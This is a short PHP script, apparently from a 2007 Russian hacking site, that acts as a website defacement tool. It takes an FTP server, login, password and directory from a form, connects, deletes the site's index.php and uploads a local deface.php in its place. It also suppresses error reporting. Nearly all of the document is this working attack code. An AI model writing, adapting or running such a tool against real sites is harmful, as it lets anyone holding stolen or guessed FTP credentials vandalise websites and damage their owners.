View file makedef.php

File size: 1.82Kb
<?php
///////////////Это самое копирайт ручками  не трогать!!!///////////////
////                                                               ////
////        ********* Заподлостроение v.01 beta *********          ////
////                                                               ////
////                 Made by: Hintoz and Sklep                     ////
////                        Март 2007г.                            ////
////                  One site: wap-motor.com                      ////
////                 Two site: wap-hack.net.ru                     ////
////               Ну мой майл вам нахуй не ненужен!               ////
////          ICQ я думаю тоже не обязательно оставлять!           ////
////                                                               ////
///////////////////////////////////////////////////////////////////////

Error_Reporting(E_ALL & ~E_NOTICE);
Error_Reporting (ERROR | WARNING);
function myErrorHandler ($errno, $errstr, $errfile, $errline) {}
set_error_handler("myErrorHandler"); 
 if($_POST['login']=="" || $_POST['pass']=="") {  header("Location: index.php?err"); exit; }

$server=rawurldecode(trim($_POST['server'])); 
$login=rawurldecode(trim($_POST['login']));
$pass=rawurldecode(trim($_POST['pass'])); 
$d=rawurldecode(trim($_POST['d']));

if (($ftp=@ftp_connect($server))&&(@ftp_login($ftp,$login,$pass))) {
 @ftp_pasv($ftp,true);
 ftp_chdir($ftp,$d); 
 $curd=ftp_pwd($ftp);
 }
if(!file("$curd/index.php")) {
@ftp_put($ftp,"$d/index.php","deface.php",FTP_BINARY);
}
if(file("$curd/index.php")) {
@ftp_delete($ftp,"$d/index.php");
@ftp_put($ftp,"$d/index.php","deface.php",FTP_BINARY);
}
header("Location: index.php?ok");
 @ftp_close($ftp);
?>